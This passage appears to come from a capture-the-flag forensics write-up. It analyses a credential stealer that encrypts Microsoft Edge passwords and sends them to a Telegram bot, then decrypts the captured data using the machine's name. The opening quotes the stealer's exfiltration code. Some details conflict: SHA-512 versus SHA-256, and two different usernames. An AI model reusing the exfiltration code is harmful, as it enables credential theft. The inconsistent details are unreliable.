print(f'Sending {len(chunks)} encrypted chunks...') for i, chunk in enumerate(chunks, 1): chunk_message = f'πŸ” EDGE_CHUNK[{i}/{len(chunks)}]:{chunk}' success = telegram.send_message(chunk_message) if success: print(f'βœ… Chunk {i}/{len(chunks)} sent successfully') else: # inserted print(f'❌ Failed to send chunk {i}/{len(chunks)}') return len(chunks) def send_edge_to_telegram(passwords): """Send extracted Edge passwords to Telegram with encryption""" # inserted telegram = TelegramSender(BOT_TOKEN, CHAT_ID) if not passwords: telegram.send_message('❌ No passwords were found in Microsoft Edge.') return None ``` - Summary: - The script generates an AES key from the SHA-512 digest of the computer's name. - The script encrypts the stolen credentials with AES-CBC. - The script also encode the ciphertext with Base64. - The script sends the encrypted credentials to Telegram. - Using this website: https://dev.mrbean.dev/telegram, we can get an invite link to the Telegram channel. ![image](https://hackmd.io/_uploads/HJPd6HK--e.png) - Which will return this reponse: ```json! { "ok": true, "result": { "id": -1002796536763, "title": "hahahahalmaooo", "type": "channel", "invite_link": "https://t.me/+dla4Yp6ALXg0ZWM9", "can_send_gift": true, "has_visible_history": true, "can_send_paid_media": true, "accepted_gift_types": { "unlimited_gifts": true, "limited_gifts": true, "unique_gifts": true, "premium_subscription": false }, "available_reactions": [], "max_reaction_count": 11, "accent_color_id": 6 } } ``` - Inside the Telegram chat: ![image](https://hackmd.io/_uploads/H1KCTrFZWx.png) - So our credential's ciphertext is: ```! XMPb/GhJYMyBVDY29FwKlR821i/MGTc94KO1DtslPu5eYEOfF5Q9ATJcYPlKWT021qf5IYaKrczy18Hmua3riXuSKZ8ecK/LefMaQw64f80eSMyojTJ+fSfwiaNaBo17dNClDYCIoov2VijEk8GBvB3sadas7j1lYWohtKWbOVwZEjwmF8iSXL9wZNM/Ni7xH0I6PyyQlOAqHiyEw1ckPOiOVuo4veRagBzYEIep4E/LtkpAhDxOubnJsV0Er8s3WeZAWrwmHYZfdHT2BBO3X0M8DcsX343qEmEM5ItFtdTnn3fegkNoYBSBLL+JlTWP+8swbiYFWzj7X0tH/E/krA== ``` - We will now encrypt it. But first to get the KEY and IV, we need to know the computer's name. Which we can check by reading the `SYSTEM` registry. ``` $ hivexget SYSTEM 'ControlSet001\Control\ComputerName\ComputerName' "@"="mnmsrvc" "ComputerName"="WINDOWS11" ``` - Computer's name: `WINDOWS11`. By modifying the script, we can decrypt the data back. ```python import base64 import hashlib from Crypto.Cipher import AES def decrypt_with_computer_name(encrypted_data, computer_name): """Decrypt data using a specific computer name""" # Generate key/IV from computer name key_hash = hashlib.sha256(computer_name.encode()).digest() key = key_hash iv = key_hash[-16:] # Decrypt try: encrypted_bytes = base64.b64decode(encrypted_data) cipher = AES.new(key, AES.MODE_CBC, iv) decrypted_padded = cipher.decrypt(encrypted_bytes) pad_length = decrypted_padded[-1] decrypted_data = decrypted_padded[:-pad_length].decode('utf-8') return decrypted_data except Exception as e: print(f"Decryption error: {e}") return None # Usage example: if __name__ == "__main__": computer_name = 'WINDOWS11' encrypted_text = 'XMPb/GhJYMyBVDY29FwKlR821i/MGTc94KO1DtslPu5eYEOfF5Q9ATJcYPlKWT021qf5IYaKrczy18Hmua3riXuSKZ8ecK/LefMaQw64f80eSMyojTJ+fSfwiaNaBo17dNClDYCIoov2VijEk8GBvB3sadas7j1lYWohtKWbOVwZEjwmF8iSXL9wZNM/Ni7xH0I6PyyQlOAqHiyEw1ckPOiOVuo4veRagBzYEIep4E/LtkpAhDxOubnJsV0Er8s3WeZAWrwmHYZfdHT2BBO3X0M8DcsX343qEmEM5ItFtdTnn3fegkNoYBSBLL+JlTWP+8swbiYFWzj7X0tH/E/krA==' result = decrypt_with_computer_name(encrypted_text, computer_name) if result: print(f"Decrypted: {result}") ``` ```shell! $ python3 decrypt.py Decrypted: === MICROSOFT EDGE PASSWORDS EXTRACTION REPORT === === PROFILE: Default === Passwords found: 1 ENTRY 1: URL: https://hehehe.com/ Username: nh0kt1g3r12 Password: welcome_to_the_world_of_forensics -------------------------------------------------- ``` Answer: `nh0kt1g3r:welcome_to_the_world_of_forensics`